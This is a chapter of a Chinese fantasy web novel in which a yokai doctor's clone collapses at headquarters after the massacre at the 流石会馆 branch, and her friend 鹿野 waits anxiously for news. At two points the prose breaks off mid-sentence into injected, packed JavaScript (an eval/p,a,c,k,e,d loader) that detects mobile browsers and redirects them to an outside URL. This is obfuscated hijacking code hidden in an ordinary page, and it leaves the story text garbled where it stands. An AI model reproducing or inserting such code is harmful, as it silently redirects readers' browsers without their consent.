大松精通【流石甲】的使用,也制作了不少【青春版·流石甲】分发给后辈和弟子们使用,以此作为防身器具,但谁都比不上他本人在这方面的造诣。 幸好。幸好他最终还是死了。幕后黑手叹息着,他把玩着手里的黑色圆球法宝,目光不由自主地投向正前方的庙宇。成立“妖灵会馆”势力三巨头之一的【明王】雕像坐落其中,它拈花垂眸,俯瞰人间,显得一派悲悯仁慈。 而那一大根造型古朴、模样玄奥的【若木】就摆在大堂之中,摆在【明王】的雕像庙前。 这就是【流石会馆】里最重要的宝物——来自南海某个神秘上古空间的【若木】。 尚未熄灭的香火和幽静的木香,外加混杂着空气中挥洒不去的浓厚血腥味,实在是令人感慨万千。 【明王】,大松,你们的确是很好的伙伴,可是就连你们也救不了【流石会馆】,救不了我们这个正在走下坡路的古老族群,想要变革就必须有牺牲…… 幕后黑手略微垂眸,收敛思绪,此时一个下属拿着平板电脑靠过来汇报情况:“老大,确认完毕,没有任何活口留下。” “嗯。” 话虽如此,幕后黑手却总觉得哪里怪怪的,他一把抓起空气中飘浮的几颗无主灵质,细细感知片刻后突然发问:“此地的灵质气息一直那么混乱吗?” 下属都懵了,灵质混乱的原因显而易见啊。 您老人家带外人屠了整个分会馆,一个下午就死了超过两位数的妖精,死者们遗留的气息能不混乱吗? “不对,不对,一定有哪里有所疏忽了……”幕后黑手随手碾碎了手中的灵质颗粒,一把抓过下属的平板开始快速看起来,“无人机拍摄的影片都在这儿?” 下属连忙回答:“是,与我们合作的军方无人机专家提前进行了云端存储的相关设置,影片延迟时间在5秒以内。” 但是幕后黑手没有急着再发表什么评论,而是继续以一秒几页的速度快速翻阅着诸多影片,那些妖精们生前战斗和惨死的模样几乎全部被众多的无人机拍摄下来,传入此次袭击者的云端数据库里,打算作为日后优化改进针对妖精的战术和参考材料。 明知这些死状凄凉的同胞是因自己而死,但幕后黑手的神情没有分毫动摇和犹豫,就好像看着一群已经被人蹍死的蝼蚁那样道心如铁。 “云端数据库我们要拿到手。”幕后黑手突然说,手眼之间翻看影片的动作依旧没有停下,“这些影片资料不能留给外人,要攥在我们自己手上。” 下属连连点头:“明白,跟计划好的一样,人类专家那边已经安排兄弟们去灭口了。” 忽然间,幕后黑手翻阅“下一页”的手指停住了,他沧桑的目光长久地停留在影片中那个长发如火,头戴木质恶鬼面具的妖精身影上。 面若恶鬼的妖精奔驰在盛怒的火焰与雷电之中,周身缠绕着致命的藤蔓,与那些全副武装的人类士兵展开殊死搏斗。 “红头发,鬼面具,看身形外表来说大概率是个女妖精,能力貌似是召唤藤蔓化形吗?”幕后黑手喃喃自语,“我记得这个妖精不在【流石会馆】的常驻妖精名单里吧?” 下属凑过头看了一眼,很确定地说:“不在,【流石会馆】的常驻人员名单我们每个人都背下来了。可能是临时路过来帮忙的吧,毕竟也确实有其他几个外来的妖精参与了今日战斗。” 男人没搭理下属,忍不住称赞起来:“多美的身姿啊……这样纯粹又暴烈的疯狂,简直是要把敌我双方一起燃烧殆尽。现在已经很少有年轻后辈能拥有这种眼神了。” 仿佛在多年以前,那个头戴鬼面的妖精也曾如此驾驭着胸膛中的杀意去战斗。 哪怕隔着平板的玻璃屏幕和流逝的时间,幕后黑手都隐约能听见那人内心空洞而绝望的回响。 纵使来路已经尸骨堆积如山,也不愿意轻易停下脚步。 多么好的……一把刀。 幕后黑手又往后边翻了几页,睁大眼睛仔细查看着这个妖精的不同战斗场面,十几秒后终于得出结论:“这个形象有点眼熟,像是我印象里的一个小家伙……去,让总馆那边查查【山鬼】的今日踪迹。” 下属呆了几秒:“啊?老大,谁是【山鬼】?” 幕后黑手将平板还给他:“差点忘了,那是以前记录在档案室的叫法。明明是年纪轻轻的一个小妖精,偏偏杀心重得吓人。” “有多重?”下属有点不服气。 “当年会馆第一次派人尝试接触她时,她还不到五十岁,但已经坚持不懈地杀了三十年的人类了。”幕后黑手稍微解释了一下,“当然,她也不是疯到见人就砍,而是追着某个特定群体展开日夜追杀。那些幸存者都快被折磨疯了,跟会馆方面合作才在最后抓住了她。” 哪怕如他这般心狠手辣的野心家,面对有这等超绝毅力的极端杀人狂也不禁甘拜下风。 “……这人是不是有点太极端了。怎么还没被冰云城监狱关起来?”下属服气了,赶紧擦擦头上的冷汗。 虽然大家都知道总馆里多的是各路牛鬼蛇神,但是任由这种极端杀人狂在总馆里四处游荡真的好吗? 幕后黑手语气明显不耐烦起来:“这涉及以前高层之间做的一个交易,有一些人想保她……话说你的废话怎么那么多,快去查!” 下属委屈极了:“可是老大,我真的不知道【山鬼】现在叫啥名字啊?” 幕后黑手陷入了沉默,摊上这样的手下能有什么办法,他只好花了几秒平复心情后才说: “……总馆医疗组,常驻医疗专家之一,竹茂。” “啊?竹大夫?”下属都快吓傻了,“她?那个整天一副急着下班的摸鱼医生?” 看来某些人的摸鱼美名已经在江湖传颂了。 “你见过她?”幕后黑手反问。 因为他自己确实见过竹茂,无论是她还被称为【山鬼】的癫狂时期,亦或者被冰云城封印了记忆后的那个普通基层医生。 下属结结巴巴地说:“我找她看过多年未愈的胃病……” “治好了吗。” “治好了,虽然她当时的治疗方式是把我摁在手术台上打了一顿,但一下子就治好了,很厉害!” “哦,那你小子是真的欠揍。”幕后黑手没好气地骂了一句。 ………… …… 此时的“竹茂”正在诊室无所事事地出诊。 作为一个没什么力量的花瓶分身,她只要负责解决简单病症的病人,以及忽悠和缓解重病的病人,拖到本体回来或者病人下次复诊的时间就好了。 工作真是太轻松辣,哈哈。 ……要是不是在裸奔状态就更好了。 搞得我跟个变态没两样。 想到这里,“竹茂”简直要给自己鞠一把辛酸泪,她此时的记忆与本体那边并不是共享同步的状态,要等本体回来融合后,自己才能完全刷新记忆数据库的内容。 只是不知为何,她总感觉自己今日下午莫名其妙地头疼欲裂,就好像有把锯子来回在切天灵盖似的…… 本体那边到底在干嘛?又整什么新活儿了? 唉,我真是个好烦的家伙。 此时坐在“竹茂”面前的是一对兄妹,那个明显已经是成年妖精的长衫男人很苦恼地向她诉苦:“竹大夫,家妹就是太沉迷人类那该死的互联网了,这个网瘾要怎么戒掉才好?” 他的妹妹虽说是个头上还残留有狐狸耳朵的小妖精,但已经是一副二刺猿宅女的打扮。 这位少女妖精身背一个硕大的心爱二次元人物徽章痛包,脖子上挂着最新款的耳机,正戴着黑框眼镜低头玩手机,对老哥的苦恼很是反感:“哥,你这老古板,该与时俱进啦!” “人类的东西到底有什么好的?”哥哥大怒。 “就是因为妖精群体里像你想法的保守派太多,我们才会落后人类!”狐狸妹妹言辞犀利地反驳。 哥哥大受打击:“你怎么能这样说哥哥?你在我身边聚灵,我把你辛辛苦苦地拉扯大,从那么小的一只狐狸团子……” 眼看再吵下去就要变成家庭伦理悲剧了,“竹茂”不得不拍拍手吸引兄妹二人的注意力。 “胡先生,令妹这个情况呢,我大致了解。但是很抱歉哦,她的这个病症我实在没法治疗,您请回吧,回头挂号费会退回到您的原账户上。” 是了,就算是总馆的疑难杂症专家也有无法解决的棘手病症。 胡先生一愣,还是有点不甘心就这样放弃治疗:“为什么啊大夫?为什么她的网瘾不能治疗?” “竹茂”格外爽朗地一笑:“因为我自己也有网瘾!” 胡先生:“…………” 狐狸妹妹倒是忍不住笑出声。 然而没过几秒,兄妹二人的注意力忽然都凝固在面前这位医生的脸上,难以挪开视线。 狐狸妹妹更是吓得抓紧了哥哥的长衫后摆:“竹、竹医生……你的脸……” “我的脸?” “竹茂”疑惑地抬起手,触摸自己那本该具备正常人形的光洁皮肤面孔,然后,她摸到了一把草——疯狂生长、不受控制的众多翠绿野草正在剧烈地抽搐和颤抖,以至于将她大半张脸都化作了扭曲而痛苦的草人面孔原形。 对于成年妖精来说,这是力量在失控的体现,以至于根本连最基本的人形都无法维持了。 胡先生到底是见识过一些事情的,他惊骇欲绝地站起来,一把护住自己身后的妹妹往后退:“竹医生,您正在散灵!有谁在攻击您吗?” 哎哟我草! 还能有谁攻击我?肯定是本体在攻击我自己啦—— “竹茂”此时心里只有这么一个想法了。 真的服了!! 心情大崩溃了几秒后,“竹茂”又逼着自己尽快冷静下来去思考。 ——可恶,一定是本体那边出事了,自己作为分身才会同样濒临崩溃。 她仔细感受了一下自己体内是否突然出现新的记忆……没有,没有任何被本体带回来的同步记忆。 也就是说……本体被困在了流石会馆!不仅力量回不来,记忆也同步不了! 啊啊啊啊怎么办啊以前没遇到过这种情况啊! “竹茂”的内心表情包此时已经是土拨鼠大喊了.jpg 不过“竹茂”心知自己这具分身的维持时间不剩下多少了,顾不上掩饰自己作为力量微弱的分身本质,她必须尽快采取新的行动。 因此“竹茂”跌跌撞撞地用手扶着办公桌站起来,指尖蔓延开的绿草眨眼间就覆盖了桌子和键盘电脑等物。 那兄妹二人已经吓得缩在了墙角,眼睁睁地看着从她的脚下正在急速蔓延开的众多野草覆盖了这大半间雪白的医疗诊室。 偏偏这些野草们正在进行急速的进行生长与死亡的变化,一会儿绿一会儿枯黄的,看着吓人极了。 妹妹脑门上的狐狸耳朵都吓成了飞机耳的造型,声音里带着几分哭腔:“哥,总馆的医生太吓人了,我们回家吧,我发誓再也不沉迷网络了!” 胡先生也快哭了:“妹儿啊,哥哥也想走啊。但竹大夫堵着门呢……” 艰难地扶着墙壁走到门口的“竹茂”已经没有心思去管这对兄妹在说什么了,她拖拽着沉重的脚步来到走廊,一路惊吓到正在等待叫号的众多无辜病人。 但是“竹茂”完全无视这些路人,脑子高速思考这件事的蹊跷之处。 本体去了【流石会馆】,本体被困住了,回不来,谁干的? 大松先生他们吗? 不至于吧,他要是想对“我”出手,早几十年都能这么做了。 而且也没有出手困住“我”的动机啊。 总不能是“我”不小心把大松馆长给治死了,他的弟子们一怒之下搞医闹,直接把“我”关押起来了吧? 这种猜想也太离谱了。我对自己的医术还是有点信心的。 或者说……【流石会馆】出事了? ——不知道,无法判断,没有最新的信息源来验证猜想。 但如果真是这样,必须找个可靠的、能够信任的人来扛起这个责任。 “竹茂”第一时间想起了好友鹿野。 但是她很快甩甩脑袋,脑门上掉下来几朵急速凋零的枯萎小花,尚未跌落在地就化作粉尘。 不行,不行,分会馆出事是大事件。万一这其中有内鬼搞事,她第一时间找朋友担责,岂不是害了鹿野? 那么,能够扛起这么一个大黑锅的人选自然就有了——总馆长,雨笛大人。 “竹茂”在病人们的尖叫声中跌跌撞撞地冲进分诊台前台,对着小护士锦兰说道:“锦兰,有紧急状况,我要面见雨笛大人汇报!” 锦兰见到自己敬重的同事竹医生这样一边走一边身体崩溃的样子也着实吓了一跳,二话不说,立刻帮忙提交紧急见面申请。 但在令人心焦的片刻等待后,她惊恐地告知“竹茂”:“我向秘书组申请了紧急见面,但是他们回复说今日雨笛大人外出参加一个非常重要的交流会议,不在总馆!” 啥玩意儿,咱们妖精有那么多会议要开吗?官僚主义! “竹茂”气得都说不出话来了,用长满枯草的手臂勉强扶住前台桌面,累得直喘气:“那就找下一个人……灵遥大人!我要见他!” 在“竹茂”想来,长老灵遥大人与大松馆长是多年的至交好友,而那位长老素来沉稳持重,颇有智慧,广受众多妖精的认可与好评,想来不会对流石会馆的意外状况无动于衷、袖手旁观。 锦兰也连忙联系了灵遥长老的专属秘书组,很快也绝望地回禀“竹茂”:“竹医生,灵遥长老这三日都带人外出视察全世界各地分会馆的建设情况,不在总馆里!” “我真的是草了!!” “竹茂”急得脑袋上的众多枯草都开始一起冒烟了,浓烟滚滚,呛得旁边的病人妖精直咳嗽。 “目前到底还有哪个长老在总馆?西木子长老……不对,他看起来太聪明了,我担心……” 担心他是那个内鬼。这是“竹茂”没有在大庭广众下说出口的言语。 ——没证据,纯刻板印象,感觉你们狐狸眯眯眼都不是什么好货.jpg 此时医院门口走来一个魁梧高大的壮汉身影,行走间可谓是虎虎生风,好生霸气。 “我听说有人在到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17068439|194830||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 处找长老?发生了什么事情……” “看看你们,吵吵嚷嚷的像话吗!” “竹茂”剧烈地喘着粗气,勉力回头看去,发现来者是总馆里的池年长老。 池长老作为本体为老虎的妖精,实力绝对强大,但很多人觉得他也就这个优点了……意思是脑子不太行,纯属铁头莽夫狂战士。 当然,没人敢在池长老面前发表这般不要命的锐评。 然而“竹茂”见到来者顿时大喜过望。 笨点好啊!池年长老一看就不是当野心家、策划袭击【流石会馆】的那块料! 就你了! 池年见到是“竹茂”,隐约想起这个小草妖医生好像是老朋友大松麾下出来的,脸上的疑惑当即减缓了些许:“这不是竹……” 轰隆! 一道狂暴的野草自几乎无法维持人形的“竹茂”脚下生出,化作一股草木的洪流,直接将猝不及防的池长老直接撞进了一旁空无一人但堆满杂物的仓库里。 两个人彻底摔进去。 旁边的众多架子倒塌,许多医疗药品哗啦啦地砸在两人身上。 一个碎裂的架子哐啷一声倒地,刚好还堵住了仓库门的背后。 “竹茂,你脑子进水了?!” 池年素来以身强力壮和脾气火暴而闻名。 虽说这点撞击对他来说不过是眨眼间就能恢复的小伤,但大庭广众下被一个后辈发起卑鄙的袭击,居然还得手了,说出去也是非常丢脸的事情。 要不是他看在“竹茂”几乎无法维持正常形体的前提,可能这个时候已经要一铁拳砸在这死孩子脑门上了,好让这人清醒清醒。 “池长老,真对不住……我没办法了……” “竹茂”大半个人被迫趴在这头老虎长老身上,起身时双手不小心按住了那宽广强壮且温热富有弹性的胸大肌,实在是无暇感受,只能勉强支棱起上半身。 主要是“竹茂”不想让自己的脸贴在池长老的胸肌上说一些托孤的话语,感觉咱们这也太暧昧了。 “哎呀,竹茂你的手在摸哪里!”池长老发出怒喝,头一回后悔自己没有穿更严实一点的衣物。 “竹茂”虚弱地笑一笑,连二次道歉的力气都没了,因为此时的她自腰部以下的双腿已经完全消散。 很显然,刚才的“野草冲击”就是她最后的波纹,真是要被燃尽了。 “你……” 看清这一幕的池年顿时瞳孔微微紧缩,下意识地一把扣住“竹茂”的手,向她输送自己的灵力,试图减缓“竹茂”的散灵进度。 “这样没用,我这是分身。” “竹茂”快速地告诉他:“【流石会馆】可能出事了,大松馆长现在怎样我也不太清楚……” 池年愣住了,他瞪大眼睛,不敢再打断“竹茂”的言语。 “呼,我怀疑有内鬼,在总馆……呼……呼……” 分身艰难地吐出最后几个字。 “答应我——抓到最后真凶之前,绝对不要试图去寻找我的本体。您可以答应吗?这是我唯一的请求,所有人的生死都在您的这一念之间!绝对,绝对不要……去找……” 虽然完全无法理解为什么竹茂的分身会这样说,而且自己一个今日值班的路过长老,怎么就背上了“所有人的生死”这么重大的责任? 但是池年在关键时刻还是分得清大是大非,他沉声道:“好!” “竹茂”看起来猛地松了口气。 这个本就没有多少力量的分身那正在急速散灵的大部分躯体消失了,当最后的脑袋垂落下来时,她突然想起什么,赶忙说:“帮我……遮掩一下……别说我的踪迹出去……雨笛,鹿野……” “明白!谁来问我都不会说的!”池年断然答应。 “竹茂”:“……” 她其实想表达的是“这两个人可以有权知道”,但是她没来得及说,最后一缕灵力彻底消散在昏暗的仓库里,只有一件原本穿着的白大褂轻飘飘的落在了池年的胸膛上。 怀里一空的池年抓住这件略显陈旧的白大褂坐起来,神色一时间有些懵逼,他还在努力思考这整件事到底是个什么情况。 忽然间,原本被倒塌架子所堵住的大门被人一脚踢开了。 砰! 跑得额头冒汗的鹿野面色冰冷地出现在门口,一双蓝眸已经危险地化作了血色红瞳的灵光状态,说明她正在疯狂地查看这间仓库里的灵质。 以及一群医护人员和病人在她背后跟着探头探脑。 ——八卦是妖之常情。 毫不意外,鹿野第一时间就看到了瘫坐在地的池年和他手里空空荡荡的白大褂。 她略微眯起了眼睛,问道:“池长老,我的朋友呢?” 池年长身而起,以习惯性的冷傲语气回答:“谁?” “竹茂,竹医生。”鹿野一字一句地说,“你手里拿着她的工作服外套。” 后面的围观群众一阵猛抽凉气,什么情况,光天化日之下,怎么竹医生跟那个同样单身的池长老这般肆无忌惮地打打闹闹,难道说……不对啊,鹿野组长为什么一副气得快疯掉了的样子?难道说她和她和他…… 哎哟兄弟你想死啊敢这么想象三个人的故事,故事里随便来一个主人公都能徒手把你打成小饼干…… 池年后知后觉地低头看了下自己手里的白大褂,觉得这一幕好像是比较引人误会,当即像是扔个烫手山芋似的直接扔给门口的鹿野:“收起你的胡思乱想,无限的弟子,我可没对那样弱小的妖精做什么。” 鹿野面色阴沉的一把抓过半空中的白大褂,池年这家伙的每句话都在她的雷点疯狂起舞。 但为了打听竹茂的踪迹,她还是强忍怒火、忍气吞声地问:“那么,请池长老明示——阿竹到底去哪里了?” 池年心思一动,想起竹茂分身消散前的“抓到真凶前别找我的本体”和“不要告诉鹿野”的诸多警告,想着不能辜负后辈“临死”前的嘱托重任,他当即满脸冷酷狂傲地打掩护:“哼,虽说无需向你汇报,但告知你们也无妨——我把她派出去临时公干了!” 鹿野:“……?” 这头老虎当她是傻子吗? 其他拿了竹专家今日下午剩余挂号的病人们同样大为崩溃:“…………” 啥情况啊,派哪个专家临时出差不好,干嘛派竹茂? 池长老,你知道我们抢那一周只有一百个名额的竹茂专家号有多难吗!可恶! 就在这时,一个黑发少年妖精急吼吼地冲过来,大喊着“师父师父大事不好了!”的话语闯入人群。 “我好着呢!你才不好了!”身强体壮的池年长老连忙借机挤开拦在门口的鹿野,然后怒视愚蠢的弟子,“说,出什么事情了?” “【流石会馆】的传送阵被毁,我们也联系不上那边的工作人员,疑似出事了!” 池年的脸色一下子沉下来:“让最近的会馆组成支援队伍驰援,同步通知总馆长和诸位长老!开什么会,都给我回来!” 发号施令之际,池年能够感受到身后的鹿野正以堪比利剑的目光狠狠地扎着自己的背部。 这死孩子跟她的人类师父无限一样令人讨厌,放在平日里池年肯定要骂几句“你瞅啥”“瞅你咋地”之类的话语,但此时的他还是赶快走了。 没办法,脑子里都是肌肉的池年长老也想不出什么更好地给竹茂打掩护的方式了。 哎呀,到底能不能跟雨笛总馆长讲这件事啊? 但直到他和弟子顺利地逃离医院,咬紧牙关的鹿野也没有再说任何一句质询之辞。 8.医院见闻 前去支援的附近会馆队伍没有用太久时间就抵达了流石会馆的残破废墟,他们一边紧急修复传送阵,一边将各项不好的消息汇报给总馆这边: 所有妖精都被灭口,上至馆长大松,下至刚聚灵的小妖都没一个活下来,宝物【若木】失窃,疑似人类势力动手…… 池年等不及后续的调查进展,等到指定传送阵稍微修复成功,这位大哥就亲自带队跑去现场查看了。 虽然明知大概率还有个竹茂的本体不知躲在哪里藏着,但一时半会看着漫山遍野的焦土,他也实在找不到一颗特意藏起来的草种。 尤其是在检查现场的各种交战痕迹和残留下来的人类员工尸体——是的,流石会馆也有几位人类员工在长期居住和工作,尽管比起妖精的数量而言只是极少部分,但他们同样全部牺牲在这次的袭击事件里——这头脾气暴躁的老虎更是气得嗷嗷叫,无人敢劝阻他平息怒火。 没过多久,有队员找到了监控室的残存影像。 对,为了更好的保护【若木】,流石会馆也与时俱进的在【明王】庙宇附近装上了几个监控摄像头,谨防小偷。 只是唯独没想到这次来的会是强抢宝物的强盗。 “等等,这个走在人群中的主谋是……” ………… …… 总馆里,鹿野等得坐立不安。 虽然她还是保持着那副平日里拒人千里之外的冷脸,但熟悉她的几个熟人和下属都多少看得出来,鹿野此刻绝对是处于一个情绪紧绷到极致的危险状态。 他们多少猜到了原因,但没人敢上前开玩笑来缓解气氛,生怕被暴揍。 事实上,先前等池年长老带队前脚刚走,她就后脚想要跟上,谁知却被看守传送阵的工作人员给拦下来了。 “很抱歉,您不能传送去流石会馆。” “什么?”鹿野简直不敢相信自己的耳朵,不得不提醒对方,“我是感知组的组长鹿野。” 她去了地方才能发现蛛丝马迹的端倪,那个只知道打打杀杀的池年去了能发现什么? “我知道,鹿野大人。”那个守卫及时纠正了自己的称谓,“很抱歉,您不能传送去流石会馆——事实上,您现在哪儿都不能去。这是池年长老刚刚发来的讯息。” “嗤!”鹿野咬着牙,发出不屑意味十足的气音,一脸凶狠地盯着他的眼睛,“凭什么?” 兴许是她平日里威名盛烈,守卫差点抱头跪地认输,但对于职责的最后坚守还是让这个妖精鼓起勇气回答道:“具体、具体的情况我也不清楚,但这是池长老不久前亲自发布的命令,说是要申辩的话等他从调查现场回来再说。鹿野大人,也请您理解我们的工作难处!” “……” 鹿野不说话了,神情森然而严峻地打量着他,就好像有某种不断积蓄的恐怖力量正在那如同冰霜般的面色下缓缓游走。 守卫实在扛不住这般非人感十足的视线,悄悄挪开了自己的目光,不敢与之对视。 同时他想起刚刚接到临出发时池年长老特意下达命令时候的情景。 【“鹿野这人我看很可疑啊,我怀疑她跟此次袭击事件有一些牵连!这样吧,你看住传送阵,不许她使用这玩意儿!如果她非要硬闯,必要时可以使用常规权限以外的武力进行拦截,我授予你这个临时权利!”】 守卫小哥当时的表情就是这样:—_— 其实可怜的守卫只是一头年轻勤恳的普通妖精,他看到这条命令时内心顿时陷入了惊涛骇浪。 什么?我打鹿野? 真的假的! 池长老,我什么时候得罪您老人家了?想要我散灵直接说就好啦! “好吧。”鹿野毫无征兆的答应,这句话在守卫小哥听来无异于天籁之音。 他甚至是有点感激地目送着这位某种意义上被禁足的感知组组长转身离开。 事实上,鹿野也有自己的考量。她虽然是感知组的组长,但可不是光杆司令一个——整个总馆擅长侦查和感知的妖精不算特别多,却也不算少。池年但凡脑子正常就肯定会挑几个带过去勘察现场,只是她是他们之中最优秀的那一个。 在没有找到生死不明的失踪挚友和搞清楚流石会馆到底出了什么问题之前,鹿野并不打算因为这点小事就贸然去挑战会馆积攒多年的权威。虽然她并不认为真打起来,自己会输给那头蛮横无理的老虎。 鹿野蹙着眉头,心烦意乱地兜兜转转,不知不觉中又走回了总馆医院的大门口。 候诊厅里依旧妖满为患,主要是全世界各地的生病妖精都赶来这儿看病,甚至有些不属于【妖灵会馆】实力的妖精也会慕名前来,会馆历来是很欢迎和拉拢这些野生妖精的……因此总馆的医疗资源是诸多会馆里公认的最雄厚。 医院清洁人员已经将先前搞出来的混乱都打扫干净,要不是仓库大门的门轴依旧损坏(先前被鹿野一脚踢爆),暂时还没更换新的,否则还真看不出刚才发生的事故。 鹿野双手插兜地往走廊里头走,熟门熟路地跟回自己家客厅一样。 托那个傻子的福,她隔三差五会来这儿喝个茶——不用挂号,不用预约,不用看诊,就是来看看庸医朋友今天又整什么新活儿。 路过导诊台时,小护士锦兰忽然有点胆怯地叫住她:“不好意思,鹿野大人。” “嗯?” 鹿野停下来,用目光发出了疑问。 “那个……可以把竹医生的白大褂还给我吗?”锦兰努力让自己看起来不那么害怕,“根据《院感条例》的相关规定,所有医护人员的工作服和病人使用过的服饰都会送去统一的地方进行集中消杀和处理……” 鹿野想起阿竹好像确实说过类似的话,还说什么“白大褂其实挺脏的”“不然你以为我里面为什么要穿方便清洗的衣服”之类的话。 表情阴沉的白发妖精看了这个护士好几秒,这才不太情愿地从乾坤袋里摸出了好友的白大褂,放回导诊台的台面上:“那就麻烦你了。” 本来还想留着呢。——这种话鹿野是永远不会说出口的。 锦兰尴尬地连忙收走同事的工作服外套,絮絮叨叨地解释:“其实我也不是想过多打听您和竹医生还有池长老几位的事情,只是我们的制服都是有数量限制的,这个您肯定也知晓。所以我想着下班后顺带帮她送去清洗,她过几天回来上班的话还可以穿干净的白大褂……” 鹿野原本沉重的心情在听见这几句解释后莫名好了几分。 “有心了。”她点点头,替朋友说了句场面话。 “鹿野大人!”锦兰还是忍不住问出最想问的那个问题,“竹医生……她还会回来的,对吧?” 亲眼目睹往日敬重的同事在一边“散灵”一边求助的崩溃模样,锦兰如今能保持冷静已经是恪尽职守的医护人员职业道德在撑着理智了。 鹿野神色莫测地想了想,反问她:“你想她回来吗?” “当然啦!竹医生人很好的,为人随和又沙雕……我是说,很幽默。对我们这些弱小的普通妖精也很友善。她每次出去上班期间摸鱼跑出去,以为大家不知道,都会给我们带点伴手礼或者下午茶之类的东西……” 鹿野:“……” 喂,你刚刚不小心说了那个笨蛋是“沙雕”对吧。 而且可悲的是,某个自以为摸鱼技术高超的庸医,实则早已将懒惰贪玩的恶名传遍工作地点和同事之间了。 鹿野忍不住勾了勾嘴角:“我会想办法监督她回来上班的。” 锦兰如释重负:“那可太好啦!辛苦您了!” 随后有新的病人前来问问题,眼看锦兰忙碌起来,鹿野也不再多说什么,继续自顾自地顺着自己眼中所观察到的灵质轨迹一路走到竹茂原先待着的那个办公室。 经常出门诊的朋友都知道,很多医生其实没有固定的办公室,所有物品都几乎是公用的。一个医生可能今天在1号诊室出诊,后天在3号诊室出诊,这都很正常。 除非是特定的专家,才有几率获得自己的专家门诊办公室。 ——竹茂就有。 每次想到这里,鹿野就觉得那家伙也不是真如表面看起来的那么废柴嘛。 其实她不用特意看灵质轨迹,竹茂的灵质她真的太熟了,闭上眼睛都能一抓一个准。 但她今天就是……单纯的想多看两眼。 哪怕只是残留在走廊过道上,过了今夜也许就会消散大部分的一点点灵质。 琢磨着这生涩的心思,鹿野随手推开半虚掩的办公室大门,与里面的两双眼睛猝不及防地对上视线。 过了几秒,里面的青年男子才不太自信地“你好?”了一声。 “你们是……?” 鹿野感到莫名其妙,这一男一女是从哪儿冒出来的? 不过青年很快解释自己是病人家属,妹妹是来看病的。那个脑门上耷拉着一对狐耳的少女则是连连点头。 “医疗组没有派其他医生接手你们的门诊单子?” 鹿野误以为他们是想向自己求助,或者是想等待原本的主治医师(阿竹)回来。 “有的,但舍妹已经痊愈了。所以不需要再去麻烦其他大夫了。”胡先生感慨地说。 狐狸小妹也有点过度惊吓后的颓废:“我再也不想上网了……” 如果换成别的医生,一秒治好网瘾这种事只存在于杨永信的梦里。 但鹿野立刻就接受了这个痊愈速度快到离谱的设定。 没办法,任谁摊上那么一个不走寻常路的医生朋友,都会知道那家伙的真实水平到底是妙手回春还是烂手回冬。 “所以你们还有什么事情?”鹿野表情淡淡地询问。 “这位姐姐,其实我们留下来就想问问……”狐狸小妹有点担忧地捏紧了自己肩膀上的二次元痛包背带,“竹医生她没事吧?” “哦?”鹿野轻轻疑问了一声。 “她出去的时候看起来挺痛苦的,连站都站不稳了。” 这个小姑娘仰着头注视着这个着装干练的冷酷大姐姐,尚且带着几分稚气的圆脸上没有丝毫害怕,只有单纯的担忧和善良在描述见到的画面。 痛苦?站不稳? 鹿野没办法在第一时间回答这个问题。 但她分明听见了自己忽然变得有些沉重的呼吸声。 这个原本故意不去思考的问题就这样毫无防备地跳出来,就像是那个笨蛋突如其来的发神经行为和恶作剧得逞后的得意大笑。 如今想来,内心却像是在撕裂一般……原以为这种痛苦早就远离她的人生了。 明知竹茂那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她背着双手、闭上眼睛在这间诊室里走了一圈,得益于出色的感知能力,并没有碰倒任何物品。 最后,这个白发的妖精在竹茂的办公椅上坐下,双手轻轻地放在了真皮扶手上,腰身很自然的往后一靠——被椅背撑住了。 充满张力和弹性的网格状编织布牢牢地托住鹿野那稍显疲惫的身躯,腰部的人体工学支撑部分依旧稳固如初。 这看起来平平无奇的办公椅还是三年前鹿野买来送给竹茂的,牌子是赫曼米勒,当时一张椅子要几万,更别提是定制款的,简直就是办公奢侈品。 而竹茂就只会坐在上头整天构思她的蹩脚翘班计划和摸鱼方案,鹿野甚至有点怀疑那人到底知不知道这张定制办公椅的真实价格,亦或者当成了后勤部分几百块一张椅子的那种廉价批发办公用品。 不过她从来没有问过阿竹这个问题,阿竹也很少跟她索要过什么名贵礼品。 鹿野平日里花大价钱来享受生活,所以希望好朋友也能一起享受。 为了亲朋好友能开心一点,这个女人砸钱砸得心甘情愿。 而阿竹是那个永远不会扫兴的好朋友。 鹿野怀疑就算是自己哪天送一张简陋草席给对方,说是睡觉用。竹茂也会乐乐呵呵地收下,并在当晚主动睡草席还给她发买家秀自拍。 想起那个笨蛋那双似乎永远都在闪闪发亮、对一切都充满好奇和友善的眼睛,鹿野忍不住笑了起来。 但很快她又意识到,自己那不合时宜的笑声在这个空旷的诊室里是有多么突兀。 一想到这个,鹿野的笑容瞬间就消失了,脸色也变回原本的冷淡和压抑。 直到她看见办公桌上倒塌的一个木质相框,估计是被先前疯狂暴涨的杂草给无意中掀翻倒下的。 “上个月来喝茶的时候,好像还没有看到这个相框。” 鹿野迟疑地盯着它看了几秒钟,想了想,还是伸手将它扶正。 ——她只是好心的帮忙恢复办公室主人的摆设,并没有想要偷窥好友私生活的意思。鹿野决定坚信着这个概念。 她本以为会看到什么痊愈病人送锦旗的美好合影,或者阿竹参加某个医学大赛却莫名其妙混成了评委的结束纪念照,要不然就是路上偶遇猫妈妈帮忙接生,并得意洋洋的陈列新生儿小猫战利品之类的搞怪照片…… 都不是。 照片里只有一个人。 那略微模糊的画质,一看就是有点手抖情况下偷拍的。 鹿野看到了自己。 那是她们去年夏天坐游轮出海度假,那天清晨她醒得早,索性倚在甲板护栏上看着远方飞起的几只白色海鸥,默默在心中计算着此地距离陆地或者海岛还有多远。 